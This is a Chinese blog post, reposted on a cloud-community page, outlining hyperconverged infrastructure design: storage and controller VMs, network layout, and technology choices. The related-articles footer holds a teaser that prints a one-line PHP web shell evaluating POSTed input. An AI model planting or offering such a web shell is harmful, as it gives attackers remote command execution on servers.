超融合架构设计之概述

背景: 相比于传统的私有云IaaS产品(例如vmware、华为),nutanix引领了一个新的技术方向---超融合。 nutanix本身是存储起家,分布式存储上有大量的积累,加上虚拟化技术的成熟,万兆网卡(甚至更高速度的网卡)和万兆交换机的普及,让新架构的IaaS产品成为可能。 nutanix的本地化程度不够,以及价格的不友好,国内的超融合产品也开始涌现。 本文(也包括接下来的几篇)会介绍超融合产品的架构设计以及部分实现细节。 物理节点的结构

在物理节点上,启动存储虚拟机(如上图storage vm),使用PassThrough技术,直接操作、使用物理节点的磁盘,对外提供存储服务。用户虚拟机则使用网桥和存储虚拟机之间通信,而非直接使用本地硬盘。 在前文《[linux][storage]Linux存储栈 》介绍过Linux的存储栈,它的纵向深度已经很复杂了,出现问题的概率也就越高,那么,把磁盘passthrough给虚拟机,在虚拟机中建立存储栈来处理,可以减轻物理节点上的出现问题的可能。如果物理节点的存储栈引起了kernel异常,可能造成物理节点无法操作,甚至影响到其他的用户虚拟机,造成用户业务异常。而存储虚拟机发生异常的话,只需要重启对应的qemu进程。显然,使用passthrough硬盘给虚拟机的方案,对于异常情况的容错能力大大增强了。 至于性能问题,使用passthrough的虚拟机中iops会下降吗? 会有一点点微小的影响,作者实际测试结果不明显。 用户虚拟机和存储虚拟机之间使用网络通信,性能有下降吗? 实际测试结果显示,iops的影响也不明显。 集群的物理结构 IaaS的三大组件---计算,存储,网络。其中,计算虚拟化和网络虚拟化,在传统的私有云和超融合之间的差异不大。 传统的私有云IaaS产品,存储基本上有几种类型:本地盘(一般会把本地硬盘通过lvm组织一下,就会有一个本地比较大的逻辑盘),IP SAN,FC SAN,以及NAS产品。 优劣势都比较明显:优势在于支持的产品多样化,几乎各种各样的存储产品都支持,甚至不需要自己开发存储产品(维护lvm,nfs等是逃不掉的,但是在Linux中稳定多年的产品毕竟维护成本更低,风险也更小);劣势在于成本,专业的存储需要额外的高价收费,本地数据盘的使用方式会让虚拟机迁移(不管热迁移还是数据迁移)变得复杂,相应的DRS(Distributed Resource Scheduler,分布式资源调度)也会受到限制,如果不做raid还会有丢数据的风险,而真正最大的问题在于存储的扩容,FC SAN固然拥有很好的性能,但是随着计算节点的增加,FC SAN终究有支撑不住的时候。 超融合架构,如下图,采用标准的x86服务器和万兆交换机为硬件依托,构成物理集群。把每台x86服务器的硬盘组织起来,以分布式存储技术为基础,构成虚拟的逻辑存储池。不使用专用的硬件可以很多的降低成本,分布式存储提供了scale out能力。

组件的逻辑关系 openstack作为目前最流行的IaaS管理平台,当然可以作为超融合的管理平台。不过目前的openstack在实现上,功能上过度复杂,但是不重视性能,版本升级变化较大,维护成本和对接开发的成本也很高。 选择openstack,还是开发自己的管理平台,都需要实现差不多的功能。包括管理控制台(openstack的Horizon),身份服务模块(openstack的Keystone),计算服务模块(openstack的nova),块存储服务(openstack的块存储服务),网络服务(openstack的Neutron),镜像服务(openstack的Glance)等等,还可以定制化一些日志分析,性能报表,服务告警,审计等功能。 在超融合平台设计上,可以使用虚拟机来承载这些组件。如下图,

在Controller VM(CVM)中运行着管理平台的组件,那么可以不用额外的服务器,而且在安装物理节点的时候,直接把CVM的镜像注入,也简化了部署。 对于CVM和Storage VM,都需要隔离其使用的CPU和内存,避免用户虚拟机对其资源竞争,造成管理节点不可用或者操作卡顿。 网络拓扑 物理结构上,最好可以做到网络隔离: 管理网络:用来组件间通信,以及和物理节点间通信。对流量要求不高,可以使用前兆网卡。 存储网络:分布式存储使用的网络,流量要求高,需要万兆网络。 虚拟网络:虚拟机的虚拟网卡接入的网络,流量要求高,需要万兆网络。 也可以使用bonding技术(原理见前文《[linux][network]bond技术分析》),对多个物理网卡做boding,再分配给物理节点使用。 在虚拟化上,会有几种网络类型: local网络:虚拟机的网卡接入到本地网桥中,和物理节点处在同一个网络中,可以获取到和物理节点同一个ip段的ip,此时物理节点充当交换机角色。 nat网络:虚拟机的网卡以nat的方式接入到本地网络中,可以访问到物理节点访问的网络范围,此时物理节点充当路由器角色。 overlay网络:基于vxlan或者geneve协议,构建虚拟的大二层网络。 技术选型 虚拟化技术:关于Xen和KVM的讨论有很多,《https://ygjs.tech/2018/01/17/Xen-V.S.-KVM%E7%BB%88%E4%BA%8E%E7%94%BB%E4%B8%8A%E4%BA%86%E4%B8%80%E4%B8%AA%E5%AE%8C%E7%BE%8E%E7%9A%84%E5%8F%A5%E5%8F%B7/》这篇算是很有意义的一篇。 存储虚拟化:分布式存储ceph,glusterfs等开源技术,是可选项。在IaaS的应用中,最普遍的应用场景还是给虚拟机挂载块设备,相对而言,使用场景比较单一,但是对性能优化以及定制要求比较高。例如,数据本地化场景下,要求在虚拟机所在的物理节点上有卷的完整副本,可以减少网络延迟,也可以减少物理网络的负担;如果虚拟机因为CPU&内存的原因发生了迁移,那么也希望副本也随着发生迁移,甚至数据压缩等高级特性。使用开源软件或者自研,看需求而定吧。 网络虚拟化:Linux bridge实现简单,内核支持很早并且非常稳定,也支持vlan隔离,对于小规模的IaaS,是个不错的选择。Openvswitch则支持overlay的大二层虚拟网络,功能复杂的流表控制,新版本的OVS已经集成了OVN这样的管理工具。对于网络复杂应用的场景下,有SDN的需求,则使用ovs更优。性能方面,如果只是比单纯的虚拟交换机能力,作者的实验数据看到bridge会比ovs高大约5%左右。 数据库选择 IaaS的meta data保存,可选的数据库比较多。关系型数据MySQL和PostgreSQL,非关系型的zookeeper和etcd。还有其他的。。。 开发语言 openstack是python实现的。自研管理平台的情况下,作者不倾向使用python。python在写脚本和工具的情况,快速好用,又便于修改。但是在实现大规模工程的时候,则吃力很多。逻辑复杂度变高的时候,需要多进程、多线程甚至协程来处理。作者比较倾向golang,目前开源库支持比较好,语言天然支持协程,开发速度和维护成本都比较适合。在管理平台这种系统软件上,python的实际维护成本比想象的高,举例来说,python可以用一分钟就写出来一个http请求发送的api,这个请求的成功的可能性只有一种,但是失败的可能性就很多,socket,send,recv,close几个函数的错误码有很多种,不同的错误码处理流程必然是不同的。如果不能handle住所有的出错可能,那么在出现问题的时候,很难查问题,如果handle住所有出错的可能,那么代码的复杂度也会上升。 千言万语汇成一句话:PHP是最好的语言!

本文分享自微信公众号 - AlwaysGeek(gh_d0972b1eeb60)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2018-04-14

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏小樱的经验随笔

BZOJ 1411&&Vijos 1544 : [ZJOI2009]硬币游戏【递推,快速幂】

1411: [ZJOI2009]硬币游戏 Time Limit: 10 Sec  Memory Limit: 162 MB Submit: 897  Solve...

28250
来自专栏安恒信息

Facebook的漏洞可以让攻击者在分分钟内重置用户账户密码

安全研究人员Dan Melamed近日发现了一个Facebook平台的严重漏洞,可以允许攻击者完全控制任何账号。 这个漏洞之所以被认为严重是因为它允许黑客悄悄的...

27260
来自专栏安恒信息

phpcms v9.6 任意文件上传漏洞近日出现密集攻击动态

背景介绍: 近日,安恒风暴中心研究人员发现,从2018年3月4日开始出现了对phpcms V9.6任意文件上传漏洞的密集攻击与利用。该漏洞为2017年爆发的0...

97460
来自专栏小樱的经验随笔

BZOJ 1029: [JSOI2007]建筑抢修【优先队列+贪心策略】

1029: [JSOI2007]建筑抢修 Time Limit: 4 Sec  Memory Limit: 162 MB Submit: 4810  Solve...

30640
来自专栏小樱的经验随笔

一个很easy的脚本--php获取服务器端的相关信息

存档: 1 <html> 2 <head> 3 <meta http-equiv="content-type" content="...

40780
来自专栏逸鹏说道

最短的各类一句话木马

菜刀readme.txt中附带一3个一句话: PHP: 1 <!--?php @eval($_POST['chopper']);?--> ASP: 1 &l...

62830
来自专栏技术博文

Windows下Nginx+Mysql+Php(wnmp)环境搭建

前言  最近想在windows下使用nginx搭建web环境,本来想用套件(WNMP)一键安装,但后来放弃了,觉得还是自己动手,丰衣足食的好,而且套件的局限性太...

82850
来自专栏小樱的经验随笔

2017 Multi-University Training Contest - Team 1 1002&&HDU 6034 Balala Power!【字符串,贪心+排序】

Balala Power! Time Limit: 4000/2000 MS (Java/Others)    Memory Limit: 131072/131...

30050
来自专栏小樱的经验随笔

BZOJ 1061: [Noi2008]志愿者招募【单纯形裸题】

1061: [Noi2008]志愿者招募 Time Limit: 20 Sec  Memory Limit: 162 MB Submit: 4813  Solv...

38750
来自专栏小樱的经验随笔

BZOJ 2222: [Cqoi2006]猜数游戏【神奇的做法,傻逼题,猜结论】

2222: [Cqoi2006]猜数游戏 Time Limit: 20 Sec  Memory Limit: 259 MB Submit: 604  Solve...

29660

扫码关注云+社区

领取腾讯云代金券

年度创作总结 领取年终奖励